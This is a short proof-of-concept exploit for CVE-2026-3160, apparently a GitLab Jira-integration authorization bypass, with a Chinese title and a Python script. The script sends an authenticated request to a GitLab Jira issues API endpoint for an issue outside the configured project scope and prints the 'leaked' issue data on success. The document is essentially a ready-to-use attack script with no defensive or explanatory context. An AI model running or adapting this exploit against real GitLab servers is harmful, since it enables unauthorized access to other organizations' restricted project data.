CVE-2026-3160 GitLab Jira集成越权访问漏洞

import requests # Target GitLab URL and Vulnerable Endpoint # Replace with actual target URL for testing purposes only target_url = "https://gitlab.example.com/api/v4/integrations/jira/issues" # Valid authentication token (Private Access Token) headers = { "Authorization": "Bearer <YOUR_VALID_TOKEN>" } # The ID of a Jira issue that is outside the configured project scope # Attacker attempts to access restricted data params = { "issue_id": "PROJ-1234" # Target Jira Issue ID } try: response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] Leaked Jira Issue Data:") print(response.json()) else: print("[-] Request failed or access denied.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")